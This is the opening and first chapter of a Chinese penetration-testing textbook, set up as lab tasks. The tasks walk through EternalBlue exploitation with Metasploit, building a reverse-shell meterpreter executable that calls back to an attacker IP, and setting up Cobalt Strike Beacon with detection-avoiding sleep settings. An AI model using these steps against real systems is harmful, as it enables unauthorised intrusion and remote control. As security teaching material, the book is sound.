内网渗透技术

978-7-115-63551-8
作者: 吴丽进苗春雨
译者:
编辑: 单瑞婷

图书目录:

详情

本书是一本关于内网渗透技术的实用教材,旨在帮助读者深入了解内网渗透的核心概念和方法,以发现和防范网络漏洞和风险。 本书共6章,首先介绍了常见的工具使用和环境搭建,然后详细讲解了各种常见的内网渗透场景和技巧,包括信息收集、权限提升、代理穿透、横向移动等。本书以任务的形式呈现,易于理解和操作。通过阅读本书,读者能够全面了解内网渗透技术的原理和应用,提高网络安全水平。 本书适合作为高等院校网络安全、信息安全相关专业的教材,帮助网络安全领域的初学者迅速入门。

图书摘要

版权信息

书名:内网渗透技术

ISBN:978-7-115-63551-8

本书由人民邮电出版社发行数字版。版权所有,侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产权。

如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭该帐号等维权措施,并可能追究法律责任。

版  权

主  编 吴丽进 苗春雨

副 主 编 郑 州 雷珊珊 王 伦

责任编辑 傅道坤

人民邮电出版社出版发行  北京市丰台区成寿寺路11号

邮编 100164  电子邮件 315@ptpress.com.cn

网址 http://www.ptpress.com.cn

读者服务热线:(010)81055410

反盗版热线:(010)81055315

内 容 提 要

本书是一本关于内网渗透技术的实用教材,旨在帮助读者深入了解内网渗透的核心概念和方法,以发现和防范网络漏洞和风险。

本书共6章,首先介绍了常见的工具使用和环境搭建,然后详细讲解了各种常见的内网渗透场景和技巧,包括信息收集、权限提升、代理穿透、横向移动等。本书以任务的形式呈现,易于理解和操作。通过阅读本书,读者能够全面了解内网渗透技术的原理和应用,提高网络安全水平。

本书适合作为高等院校网络安全、信息安全相关专业的教材,帮助网络安全领域的初学者迅速入门。

前  言

内网渗透技术是网络安全领域中至关重要的一个领域。随着网络环境的不断演进和企业内部信息数字化存储的广泛应用,内网安全问题已经成为全球各行各业关注的焦点之一,内网渗透技术的重要性日益凸显。企业和组织需要更加坚固的网络防御,以保护企业敏感数据的安全性,维护业务连续性,从而防范潜在的风险和威胁。

内网渗透测试是一种模拟真实威胁情景的方法,旨在评估内部网络的安全性,发现潜在的漏洞,并提供改进建议。通过深入了解内网渗透技术,组织和企业可以更好地保护其网络和数据资产,提高内网的安全性,降低潜在风险的影响。

内网渗透技术在渗透测试领域属于进阶内容。内网渗透技术涉及企业内网的复杂结构、多种主机和服务,以及应对内部威胁的策略,因此,相关渗透人员需要有一定的技术基础与实践技能。另外,市面上偏向实战的内网渗透图书较少,这正是我撰写本书的初衷。见证了网络安全不断演变的局面,深知实战经验在这个领域的重要性,因此,我汇聚了一批网络安全领域的专业人士,结合他们丰富的实践经验和深入的学术研究,精心打造了这本实用而全面的图书。

本书是一本系统、实用、前沿的内网渗透技术指南,致力于帮助网络安全爱好者和高等院校相关专业学生深入了解内网渗透的核心概念和方法,以便有效地发现和防范网络漏洞和风险。本书从常见工具使用和环境搭建入手,然后通过丰富的案例和实验,详细讲解了各种常见的内网渗透场景和技巧,包括信息收集、权限提升、代理穿透、横向移动等。本书以任务的形式呈现,易于理解和操作,适合作为网络安全领域初学者的入门指南,也可作为高等院校网络安全、信息安全相关专业的教材。

本书具备以下特点。

每章都以项目描述为起点,详细分析了项目,帮助读者充分理解所涉及的技能点和所需的知识。

本书内容涵盖广泛,包括信息收集、权限提升、代理穿透、横向移动等方面的知识点。每个知识点均以任务的形式进行讲解,强调实践性,便于读者理解并动手操作。

每个任务末尾均提供了提高拓展内容,旨在深入解析当前任务的漏洞利用思维,探讨进一步进行漏洞利用或探索其他漏洞利用方式的可能性。

本书结构组织

本书共6章,具体内容介绍如下。

第1章,C&C工具的使用。C&C工具是渗透测试中用于控制和管理被攻陷的目标系统的重要工具,也是学习内网渗透技术的基础。通过本章的学习,读者将掌握如何使用两种常见的C&C工具(Metasploit Framework和Cobalt Strike)。

第2章,Windows域环境的搭建。Windows域环境是一种常见的网络环境,用于管理和控制多个Windows系统的用户、组、策略、资源等。在内网渗透中,攻击者经常会针对Windows域环境进行攻击,以获取域管理员的权限和敏感信息。通过本章的学习,读者将掌握如何使用虚拟化软件VMware搭建一个基本的Windows域环境。

第3章,内网渗透中的信息收集。在内网渗透中,信息收集是一个重要的步骤,可以帮助渗透测试者了解主机的角色、内网的拓扑结构、端口的开放情况、是否存在漏洞等信息。通过本章的学习,读者将掌握如何使用常用的工具和命令进行内网渗透中的信息收集。

第4章,内网渗透中的权限提升。权限提升是内网渗透中的关键步骤,可以帮助渗透测试者突破限制,获取敏感数据,甚至控制整个内网。通过本章的学习,读者将掌握如何使用常见的方法和工具进行内网渗透中的权限提升。

第5章,内网渗透中的代理穿透。代理穿透是内网渗透中的常用技术,可以帮助渗透测试者突破网络隔离,扩大攻击范围,获取更多目标。通过本章的学习,读者将掌握如何使用4种常见的工具进行内网渗透中的代理穿透。

第6章,内网渗透中的横向移动。横向移动是内网渗透中的高级技术,可以帮助渗透测试者深入探索内网,寻找最终目标,甚至控制整个域。通过本章的学习,读者将掌握如何使用6种常见的方法和工具进行内网渗透中的横向移动。

目标读者

本书的受众范围广泛,主要面向对内网渗透技术感兴趣的学生、渴望从事渗透测试相关工作的人员以及已经从事渗透测试行业的从业人员等。在阅读本书之前,建议读者具备以下知识背景。

基本的计算机和网络知识,如操作系统、网络协议、网络设备等。

基本的编程和脚本知识,如Python、Bash、PowerShell等。

基本的Web开发和数据库知识,如HTML、PHP、MySQL等。

基本的安全知识,如加密、身份认证、漏洞原理等。

特别说明

渗透测试是一项高风险的技术活动,本书仅供学习资料之用,敬请读者严格遵守相关法律法规,严禁利用本书进行任何形式的非法行为。我们特别强调,根据《中华人民共和国刑法》第二百八十六条,违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。因此,读者在学习和应用渗透测试技术时,务必遵守法律法规,切勿从事任何违法行为。确保自己使用技术能力的合法性,是确保网络安全与个人安全的重要保障。谨慎行事,共同构建良好的网络环境,共同维护网络安全。

为了方便您获取本书丰富的配套资源,建议您关注我们的官方微信公众号“恒星EDU”(微信号:cyberslab)。我们将在此平台上定期发布与本书相关的配套资源信息,为您的学习之路提供更多的支持。

致谢

在此,感谢杭州安恒信息技术股份有限公司的王伦信息安全测试员技能大师工作室和恒星实验室的精英团队成员,包括吴鸣旦、樊睿、叶雷鹏、李肇、黄章清、杨益鸣、蓝大朝、孔韬循、郑鑫、李小霜、郑宇、陆淼波、章正宇、赵今、舒钟源、刘美辰、郭廓、曾盈。他们都是内网渗透领域的专家和实战高手,他们用自己的经验和技能,为本书提供了丰富的内容和案例。没有他们的辛勤付出,就没有本书的诞生。

资源与支持

资源获取

本书提供如下资源:

本书习题答案;

本书思维导图;

异步社区7天VIP会员。

要获得以上资源,您可以扫描下方二维码,根据指引领取。

提交勘误

作者和编辑尽最大努力来确保书中内容的准确性,但难免会存在疏漏。欢迎您将发现的问题反馈给我们,帮助我们提升图书的质量。

当您发现错误时,请登录异步社区(https://www.epubit.com),按书名搜索,进入本书页面,单击“发表勘误”,输入勘误信息,单击“提交勘误”按钮即可(见下图)。本书的作者和编辑会对您提交的勘误进行审核,确认并接受后,您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。

与我们联系

我们的联系邮箱是contact@epubit.com.cn。

如果您对本书有任何疑问或建议,请您发邮件给我们,并请在邮件标题中注明本书书名,以便我们更高效地做出反馈。

如果您有兴趣出版图书、录制教学视频,或者参与图书翻译、技术审校等工作,可以发邮件给我们。

如果您所在的学校、培训机构或企业,想批量购买本书或异步社区出版的其他图书,也可以发邮件给我们。

如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为,包括对图书全部或部分内容的非授权传播,请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护,也是我们持续为您提供有价值的内容的动力之源。

关于异步社区和异步图书

异步社区”(www.epubit.com)是由人民邮电出版社创办的IT专业图书社区,于2015年8月上线运营,致力于优质内容的出版和分享,为读者提供高品质的学习内容,为作译者提供专业的出版服务,实现作者与读者在线交流互动,以及传统出版与数字出版的融合发展。

异步图书”是异步社区策划出版的精品IT图书的品牌,依托于人民邮电出版社在计算机图书领域30余年的发展与积淀。异步图书面向IT行业以及各行业使用IT技术的用户。

第1章 C&C工具的使用

命令与控制(command and control,C&C)可以理解为两台机器之间的一种特殊的通信方式。

C&C工具的作用就是和受害机建立起C&C连接,从而达到持续控制目标服务器的目的。使用C&C工具的机器一般是C&C服务器,渗透测试人员会通过C&C服务器将恶意命令发送到受害机上。在内网渗透中,C&C工具常被用来对目标服务器进行权限获取、信息收集、横向移动等操作,可视为内网渗透中最全面且最常用的一类工具。

常见的C&C工具包括Metasploit Framework和Cobalt Strike。团队成员小白已经开发了一个实操环境,为了方便学员学习,主管要求小白根据该实操环境编写一个实验手册。

学习Metasploit Framework需要学员掌握工具的使用流程和一些常用的命令,并了解Metasploit Framework的特殊会话meterpreter的常用命令,以及Metasploit Framework配套的msfevnom工具的使用方法。学习Cobalt Strike则需要学员掌握工具的启动方法、特殊会话Beacon的创建流程和常用命令。为了增强任务的实操性,小白认为可以从实战靶场出发,对真实服务器进行远程控制,以便增强学员的学习效果。

1.1 任务一:Metasploit Framework的使用

1.1.1 任务概述

Metasploit Framework(后文简称为MSF)是一个开源的渗透测试框架,在内网渗透中,它也可以作为C&C服务器使用。在本任务中,目标Windows靶机存在“永恒之蓝”漏洞(MS17-010),小白需要使用MSF对目标靶机进行漏洞利用,最终获取目标靶机服务器权限并建立C&C连接。此外,也可以使用msfevnom工具生成木马文件,从而建立C&C连接。

1.1.2 任务分析

MSF中集成了“永恒之蓝”漏洞的利用模块,可以直接调用该模块获取服务器权限。

在利用漏洞之前,需要对目标靶机进行端口探测,因为“永恒之蓝”漏洞针对Windows操作系统的SMB服务进行攻击,而Windows操作系统的SMB服务默认开放在445端口上,所以可以使用Nmap工具来确认目标靶机是否开放了SMB服务。

在漏洞利用完成后,攻击者会获取目标服务器权限并建立C&C连接,从而对目标服务器进行持续控制。

如果要通过使用msfevnom工具生成木马文件的形式来建立C&C连接,那么需要解决恶意文件的问题。因为Linux攻击机自带Python环境,所以可以使用SimpleHTTPServer模块开启Web服务来传输恶意文件。

1.1.3 相关知识

1.MSF的基础知识

MSF提供了一个编写、测试和使用exploit代码的环境。这个环境为渗透测试、shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Ruby语言编写而成,同时包含由C语言、汇编语言和Python编写的可选组件。

如果要使用MSF实施漏洞利用等操作,需要在操作系统中安装该工具。MSF支持在Windows和Linux操作系统中进行安装,另外Kali Linux操作系统也集成了该工具,可以直接调用。

2.“永恒之蓝”漏洞

“永恒之蓝”(Eternal Blue)是一种利用Windows操作系统的SMB协议漏洞来获取系统的最高权限的漏洞,从而控制被入侵的计算机。SMB是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过SMB协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过SMB协议,应用程序可以访问远程服务器中的文件、打印机、邮件槽(mailslot)、命名管道等资源。而“永恒之蓝”则通过TCP端口(445端口和139端口)来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无须用户进行任何操作,只要开机上网,不法分子就能在计算机和服务器中进行一系列的危险操作,如远程控制木马、获取最高权限等。

3.meterpreter

meterpreter是MSF中的一种特殊会话,可以快捷调用MSF中的一些功能,对目标系统进行更深入的渗透。这些功能包括清除渗透痕迹、本机信息收集、搭建网络代理、跳板攻击等。为了保持meterpreter的存活状态,受害主机会定时发送心跳包到MSF中。

4.msfevnom

msfevnom是MSF的攻击载荷(payload)生成器,它允许使用者生成shellcode、可执行代码和其他恶意代码。其中,shellcode支持非常多的编程语言,包括C、JavaScript、Python、PHP等,可在不同渗透场景中使用。在msfevnom生成恶意代码后,可以配合MSF中的监听模块实现C&C远控操作。

1.1.4 工作任务

打开Windows Server 2008靶机,在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,如图1-1所示。

图1-1 打开终端

在打开的终端中输入以下命令,通过Nmap对目标主机进行端口探测,其中的靶机IP为开启的Windows Server 2008靶机的IP地址,如图1-2所示。

nmap -sV 靶机IP

图1-2 Nmap 工具

Nmap工具在指定了“-sV”参数后,会探测开放端口以确定服务/版本信息。等待一段时间探测完毕后,Nmap执行结果如图1-3所示,可以确定SMB服务是否开放。

图1-3 Nmap 执行结果

证明靶机开放了SMB服务后,在终端中输入msfconsole命令并按下回车键,开启MSF,如图1-4所示。

图1-4 开启MSF

在MSF终端状态下输入以下命令,搜索MS17-010漏洞相关模块,如图1-5所示。

msf6 > search ms17-010

当读者不清楚要使用具体哪个模块时,可以使用search命令加上漏洞关键字(漏洞编号、漏洞攻击方式、漏洞利用服务等)来搜索漏洞模块,对于每一条搜索结果,从左至右的字段分别是:数字下标(从0开始)、模块名称、披露日期、模块对应漏洞的严重级别、是否支持检查方法、模块简述。

在使用search命令搜索漏洞模块以后,可以使用下标的方式进行模块的使用,以图1-5中的模块为例,可以使用“use 0”或“use exploit/windows/smb/ms17_010_eternalblue”这两种方式调用该模块。

图1-5 搜索MS17-010漏洞相关模块

如果读者通过搜索结果中的模块简述还是无法判断该模块的作用,那么可以使用info命令来查看模块的具体描述、需要设置的参数、支持的测试目标、参考链接等信息,如图1-6所示,从而进一步了解某一模块的作用。另外,info命令也支持采用下标的形式指代某一模块。

msf6 > info 0

图1-6 查看模块的信息

在使用search命令和info命令后,读者就会对模块的作用有所了解,在明确了使用哪一个模块以后,就可以使用use命令调用该模块,本次任务需要调用的模块为exploit/windows/smb/ ms17_010_eternalblue,如图1-7所示。

msf6 > use exploit/windows/smb/ms17_010_eternalblue

图1-7 调用MS17-010漏洞利用模块

在选取好模块后,需要设置模块的参数,输入以下命令可以查看当前模块所需设置的参数,如图1-8所示。

msf6 > options

图1-8 查看当前模块所需设置的参数

当前模块存在三部分选项,分别是模块选项(Module options)、攻击载荷选项(Payload options)和利用目标(Exploit target),前两部分选项的结构相同,从左至右的字段分别是名称(Name)、当前设置(Current Setting)、是否必需(Required)和描述(Description)。

设置参数的原则是必须填充“Required”字段为“yes”的选项,以图1-8为例,“RHOSTS”选项的“Required”字段为“yes”,但“Current Setting”字段为空,因此必须使用set命令来给该选项赋值才能运行该模块。“RHOSTS”选项在MSF中非常常见,用于指定模块攻击的目标主机,一般用目标主机的IP地址进行填充。另外,“RPORT”选项在MSF中也非常常见,用于指定模块攻击的端口。因为MS17-010漏洞的攻击对象是Windows操作系统的SMB服务,所以默认填充了445端口,当目标主机的SMB服务开放在其他端口时,需要使用set命令对“RPORT”选项重新赋值。

攻击载荷选项中比较常见的设置有“LHOST”选项和“LPROT”选项,它们的作用是指定开启监听的主机(一般是使用MSF的主机)的IP地址和开启监听的端口。攻击载荷选项如图1-9所示。

图1-9 攻击载荷选项

在使用options命令确认了必须设置的选项后,输入命令设置选项,设置完成后输入run命令运行漏洞利用模块,如图1-10所示。

msf6 > set rhosts 靶机IP
msf6 > run

图1-10 设置完成后运行漏洞利用模块

在漏洞利用过程中MSF会输出爆破日志,攻击成功界面如图1-11所示,会输出“WIN”字样并接收到一个MSF中的特殊会话“meterpreter”。

图1-11 攻击成功界面

在进入meterpreter终端后可以输入以下命令,查看meterpreter会话中可执行的命令,如图1-12所示。

?

图1-12 查看可执行的命令

如果在meterpreter状态下想要调用其他模块,就需要先退出该会话,直接使用exit命令会导致会话关闭,在这个时候可以使用以下命令来挂起本次会话,如图1-13所示。

background

图1-13 挂起本次会话

在MSF终端下,如果想要将挂起的会话还原,那么可以使用sessions命令,如图1-14所示。

sessions
sessions <session Id>

图1-14 还原挂起的会话

在已知session Id的情况下,可以直接使用第二条命令返回会话状态,第一条命令在挂起多个会话时可以列出所有后台挂起的会话。

在meterpreter终端状态下,可以使用以下命令查看当前会话的服务器运行权限,如图1-15所示。

getuid

图1-15 查询当前会话的服务器运行权限

通过返回信息可以判断,当前会话的服务器获取了Windows操作系统的SYSTEM权限。

以上就是通过“永恒之蓝”漏洞获取受害主机权限并和MSF建立起C&C连接的过程,除了使用漏洞方式和受害主机建立连接,还可以通过植入木马来控制受害主机。

在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,输入以下命令生成木马文件,如图1-16所示。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP地址 -f exe > shell.exe

图1-16 生成木马文件

生成恶意文件的msfvenom命令格式展示如下:

msfvenom -p <payload type> <payload options> -f <format> > xxx.xxx

“-p”参数用于指定攻击载荷的类型和攻击载荷的选项,msfvenom可指定的攻击载荷和MSF一致,也可以通过以下命令查看可选的攻击载荷及其描述,如图1-17所示。

msfvenom -l payload

图1-17 查看可选的攻击载荷及其描述

通过命令查看某一攻击载荷的选项,如图1-18所示,包含基础选项(Basic options)、进阶选项(Advanced options)和规避选项(Evasion options)。

图1-18 查看某一攻击载荷的选项

  通过图1-18可以发现,如果要生成windows/x64/meterpreter/reverse_tcp模块的恶意文件,就必须设置“LHOST”选项,这与在MSF中使用某一模块的逻辑一致,需要填充“Required”字段为“yes”的选项。另外还有一个比较重要的选项是“LPORT”,默认填充值为“4444”。如果遇到该端口被占用的情况,就需要重新指定该选项。

在生成了恶意的exe文件后,需要将该恶意文件传输至受害主机中,并运行该恶意文件。在之前生成恶意文件的终端下输入以下命令,开启一个Web服务器用于传输该恶意文件,如图1-19所示。

python -m SimpleHTTPServer 80

图1-19 开启Web服务

登录进入Windows Server 2008靶机,在桌面状态下,单击左下角的“开始”按钮,然后单击“Internet Explorer”,打开IE浏览器,如图1-20所示。

图1-20 打开IE浏览器

在IE浏览器的地址栏中输入并访问攻击机的IP地址,可以访问到攻击机基于Python开启的Web服务,然后找到生成的恶意文件“shell.exe”,并下载该恶意文件,如图1-21所示。

图1-21 下载恶意文件

因为Windows Server 2008操作系统自带安全策略,所以需要将攻击机开启的Web服务添加到信任名单中。在弹出的警告框中单击“添加”按钮,然后在可信站点中单击“添加”,添加可信站点如图1-22所示。

图1-22 添加可信站点

然后重新单击木马文件“shell.exe”进行下载,在下载弹框中单击“保存”按钮,如图1-23所示,保存到“下载”目录中。

图1-23 保存恶意文件

成功将恶意文件传输至受害机后回到Linux攻击机,打开终端并输入命令进入MSF,使用与msfevnom工具配套的监听模块,如图1-24所示。

msf6 > use exploit/multi/handler

图1-24 使用监听模块

在选取好模块后,需要设置攻击载荷、开启监听的主机IP地址,攻击载荷要和生成的木马文件所使用的攻击载荷一致。如果在生成恶意木马文件时指定了“LPORT”参数,那么需要在本模块中使用set命令设置该选项。在参数设置完成后,可以输入run命令来运行监听模块,如图1-25所示。

msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 攻击机IP
msf6 > run

图1-25 运行监听模块

模块运行后就会开启攻击机的4444端口的监听并准备接受信息,在该状态下重新回到Windows Server 2008靶机中,双击打开并运行恶意文件shell.exe,如图1-26所示。

图1-26 运行恶意文件

在成功运行恶意文件后返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-27所示,证明建立了C&C连接。

图1-27 接收到受害主机的meterpreter会话

1.1.5 归纳总结

本次任务旨在教会读者如何通过MSF渗透工具建立C&C连接,包括通过漏洞攻击和利用msfevnom工具生成木马文件并执行上线两种方式。MSF中的攻击载荷模块决定了漏洞利用或恶意代码的效果,其中meterpreter相关的攻击载荷在运行成功后,会在受害主机上打开一个通道并返回一个MSF中的特殊会话meterpreter。

1.1.6 提高拓展

本任务通过Python开启了Web服务(用于文件传输的通道),这在内网渗透中非常常用。此外,在获取meterpreter的情况下,也可以直接使用命令将文件上传至受害主机中。

参照本任务中利用“永恒之蓝”漏洞获取受害靶机meterpreter的步骤,先进入meterpreter终端,然后参照本任务中利用msfevnom工具生成木马文件的步骤生成木马文件“shell.exe”。

先确认木马文件的具体攻击路径,可以使用ls命令查看当前目录下的文件。在确认“shell.exe”文件存在的情况下,使用pwd命令查看当前路径名称,如图1-28所示。

ls
pwd

图1-28 查看当前目录下的文件和当前路径名称

通过pwd命令的执行结果,获取木马文件的路径为/root/shell.exe,在meterperter终端下使用命令将木马文件传输到受害主机上,如图1-29所示。

meterpreter > upload 文件源地址 文件目的地址

图1-29 将木马文件传输到受害主机上

通过upload命令传输文件时需要注意,如果传输的对象是Windows操作系统,那么需要将文件分隔符“\”变为“/”,例如将“C:\Windows\Temp”目录转换为“C:/Windows/Temp”。

上传完成后,可以参照本任务中对监听模块的使用,开启监听端口,如图1-30所示。

图1-30 开启监听端口

在Windows Server 2008靶机中,用鼠标左键双击打开并运行恶意文件“shell.exe”,如图1-31所示,注意木马文件的路径为“C:/ Windows/Temp/shell.exe”。

图1-31 打开并运行木马文件

成功运行恶意文件后,返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-32所示,这就证明已经建立了C&C连接。

图1-32 接收到受害主机的meterpreter会话

1.1.7 练习实训

在本书的练习实训部分,我们会用△、△△和△△△来表示习题的不同难度。△代表简单,△△代表一般,△△△代表困难。

一、选择题

△1.MSF的开发语言是(  )。

  A.C 

  B.Python 

  C.Java 

  D.Ruby

△2.MSF的攻击载荷模块对应的是(  )。

  A.exploit 

  B.auxiliary 

  C.payload 

  D.evasion

二、简答题

△1.请举例使用MSF建立C&C连接的方法。

△△2.请简述对“永恒之蓝”漏洞进行利用的前提。

1.2 任务二:Cobalt Strike的使用

1.2.1 任务概述

Cobalt Strike是一个渗透测试框架工具,在内网渗透中作为C&C服务器使用。在本任务中,小白需要使用Cobalt Strike生成恶意木马文件,将恶意木马文件上传至目标靶机中运行,最终获取目标靶机服务器权限并建立C&C连接。

1.2.2 任务分析

Windows和Linux攻击机中都已集成了汉化版的Cobalt Strike,Cobalt Strike的使用分为两步:先启动Cobalt Strike的服务端,然后通过Cobalt Strike的客户端进行连接。Cobalt Strike的使用需要Java运行环境的依赖,需要提前安装在攻击机中。

Cobalt Strike提供了良好的UI界面,通过单击鼠标的方式即可生成恶意木马文件。然后,可以通过Python环境的SimpleHTTPServer模块开启一个Web服务以传输恶意文件,最终获取目标服务器的权限并建立C&C连接,对目标服务器进行持续性控制。

常见的C&C工具有MSF和Cobalt Strike。团队成员小白已经开发了一个实操环境,为了方便学员学习,主管要求小白根据该实操环境编写一个实验手册。

1.2.3 相关知识

1.Cobalt Strike

Cobalt Strike是一个以MSF为基础的GUI框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、EXE木马生成、DLL木马生成、Java木马生成、Office宏病毒生成、木马捆绑、钓鱼攻击(包括站点克隆、目标信息获取、浏览器自动攻击等)功能。

Cobalt Strike是C/S架构的应用,在使用过程中至少需要一个服务端和一个客户端,并且支持多个客户端同时连接一个服务端,以达到团队渗透的效果。在多个渗透测试人员连接到同一个服务器,并共享渗透测试资源和目标信息后,建立C&C连接后的受害主机Cobalt Strike也可以共享会话。

2.Beacon

Beacon是Cobalt Strike中的一类攻击载荷,通常配置监听器使用。Beacon和MSF中的meterperter功能相似,都是工具所支持的C&C远控的特殊会话。Beacon内置了很多操作命令,可以快速调用工具的一些功能,例如端口扫描、命令执行、搭建网络代理、跳板攻击等。另外Beacon存在一个特殊的“sleep”机制,即对于Beacon会话和Cobalt Strike服务器的通信周期时间sleep,在sleep时间较长的情况下,可以降低被管理人员察觉的可能性。

1.2.4 工作任务

打开Windows Server 2008靶机,在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,如图1-33所示。

图1-33 打开终端

使用命令切换到Cobalt Strike(后文简称为CS)根目录,并列出当前目录下文件,如图1-34所示。

cd /root/Desktop/Tools/A4\ C\&C\ Tools/K8_CS_4.4
ls

图1-34 切换到CS根目录并列出当前目录下文件

当前状态下的所有文件都没有可执行权限,需要使用chmod命令为文件添加可执行权限,然后执行ls命令列出文件,如图1-35所示。

chmod +x -R ./*
ls

图1-35 添加可执行权限并列出文件

运行CS首先要开启CS的服务端,对应的Linux可执行程序文件名为“teamserver”,使用以下命令可以启动CS的服务端,如图1-36所示。

./teamserver 攻击机IP地址 任意密码

图1-36 启动CS的服务端

需要注意的是,CS的服务端的默认连接端口为50050,但CS已经将该端口修改为4488,通过图1-36中的输出日志“Team server is up on 0.0.0.0:4488”也可以证明这一点。

在开启客户端后打开Windows攻击机,开启CS的客户端,如图1-37所示。

C:\Tools\A3 C&C Server\K8_CS_4.4\cobaltstrike.exe

图1-37 开启CS的客户端

在CS的客户端连接面板上填写连接信息,如图1-38所示,其中,“Host”字段为CS的服务端地址(Linux攻击机的IP地址)、“Port”字段为CS的服务端的开放端口4488、“User”字段为任意用户名、“Password”字段为CS的服务端连接密码123456。填写完成后,单击“Connect”选项连接至CS的服务端。

图1-38 填写连接信息

在第一次连接到某一CS的服务端时,会让客户端确认该服务端的指纹信息,避免连接到错误的服务器。在弹出的提示框中单击“Yes”按钮,如图1-39所示。

图1-39 单击“Yes”按钮

连接成功后单击主界面左上角的“Cobalt Strike”按钮,然后单击“Listeners”按钮打开监听器面板。在监听器面板中,单击左下角的“Add”按钮打开新增监听器(“New Listener”)面板,如图1-40所示。

图1-40 单击左下角的“Add”按钮打开新增监听器面板

在“New Listener”面板中,“Name”字段可以填充任意信息,该字段用于区分不同的监听器;“Payload”字段选择“Beacon HTTP”形式,该字段用于指定监听器所配套的攻击载荷;“HTTP Hosts”字段,单击该字段右边的加号按钮,填入服务器的IP地址,该字段用于指定开启监听器的主机地址:“HTTP Port(C2)”字段为任意端口号,要注意该端口不能被占用,最好使用一个非常规的大端口,该字段用于指定开启监听服务的端口号。在填写完字段后,单击下方的“Save”按钮创建该监听器,如图1-41所示。

图1-41 创建监听器

在创建完监听器后,在监听器面板上就可以查看该监听器。如果需要修改某一监听器的配置,如图1-42所示,那么可以在选中该监听器的状态下单击“Edit”按钮。

图1-42 修改某一监听器的配置

单击CS主页面上方的“Attacks”按钮,在弹出的选项中单击“Packages”-“Windows Executable”,创建EXE木马,如图1-43所示。

图1-43 创建EXE木马

在弹出的“Windows Executable”选项框中单击右侧“...”按钮,选择创建好的监听器,单击“Choose”按钮,然后勾选“Use x64 payload”,最后单击“Generate”按钮生成EXE木马文件,如图1-44所示。

图1-44 生成EXE木马文件

在弹出的Save窗口中单击“Save”按钮,如图1-45所示,将木马文件保存到Windows攻击机的Documents文件夹中。

图1-45 保存木马文件

在Windows攻击机中,单击开始按钮,然后用键盘输入“终端”,单击“最佳匹配”中的“终端”应用,如图1-46所示,打开一个命令提示符的终端。

图1-46 打开终端

在终端中输入cd命令切换至木马文件的目录中,然后输入dir命令确认木马文件“artifact. exe”是否存在,最后输入python3命令开启Web服务,如图1-47所示。

cd Documents
dir
python3 -m http.server 80

图1-47 开启Web服务

登录进入Windows Server 2008靶机,在桌面状态下,单击左下角“开始”按钮,然后单击“Internet Explorer”,打开IE浏览器,如图1-48所示。

图1-48 打开IE浏览器

在IE浏览器的地址栏中输入Windows攻击机的IP地址并访问,可以访问到攻击机基于Python开启的Web服务,然后找到生成的恶意文件“artifact.exe”,并单击下载该恶意文件,如图1-49所示。

图1-49 下载该恶意文件

因为Windows Server 2008操作系统自带安全策略,所以需要将攻击机开启的Web服务添加到信任名单中。在弹出的警告框中单击“添加”按钮,然后在可信站点中单击“添加”按钮,如图1-50所示。

图1-50 添加到信任名单中

然后重新单击恶意文件“artifact.exe”进行下载,在文件下载弹框中单击“保存”按钮,如图1-51所示,将恶意文件保存到“下载”目录中。

图1-51 保存恶意文件

在Windows Server 2008靶机中,双击打开恶意文件“artifact.exe”,如图1-52所示。

图1-52 打开恶意文件

成功运行恶意文件后返回Windows攻击机,查看CS面板,发现接收到受害主机的Beacon会话,如图1-53所示,证明建立了C&C连接。

图1-53 接收到受害主机的Beacon会话

选中受害主机的Beacon会话后,用鼠标右键单击“Session”-“Sleep”以修改休眠选项,如图1-54所示。

图1-54 修改休眠选项

在弹出的“Input”框中,将原来的数字60修改为数字0,单击“OK”按钮确认修改休眠时间,如图1-55所示。

图1-55 修改休眠时间

Beacon默认的交互周期为1分钟(也就是60秒),在极端状态下,修改Sleep设置这一操作也需要等待60秒后才会生效。

选中受害主机的Beacon会话,用鼠标右键单击“Interact”,进入受害主机交互界面,如图1-56所示。

图1-56 进入受害主机交互界面

在Beacon的交互界面下方的输入区,可以输入命令来进行远程控制,输入以下命令可以查看Beacon会话中可执行的命令,如图1-57所示。

?

图1-57 查看Beacon会话中可执行的命令

在Beacon的交互界面下方的输入区,输入以下命令查看当前用户权限,如图1-58所示。

getuid

图1-58 查看当前用户权限

如果想要执行受害主机上的终端命令,那么需要在输入终端命令前加入“shell”关键字,例如输入shell whoami命令等同于执行Windows终端中的whoami命令,如图1-59所示。

图1-59 在输入终端命令前加入“shell”关键字

在获取受害主机Beacon后,可以选中该Beacon,单击鼠标右键后选择“Explore”-“File Browser”,打开文件浏览器,如图1-60所示。

图1-60 打开文件浏览器

在文件浏览器中可以通过单击的方式查看受害主机的文件信息,如图1-61所示,并选择复制、下载、执行和删除文件。

图1-61 查看受害主机的文件信息

1.2.5 总结归纳

本次任务的目的是教会读者通过CS进行远程控制,相较于MSF,CS没有集成非常多的漏洞攻击模块,但CS有友好的UI界面和团队协作优势。CS的主要攻击方式是生成恶意代码,让受害主机执行该恶意代码后和CS建立C&C连接。

1.2.6 提高拓展

因为CS是基于MSF进行开发的,所以在一定情况下CS中的特殊会话Beacon和MSF中的特殊会话meterpreter是可以相互转换的。

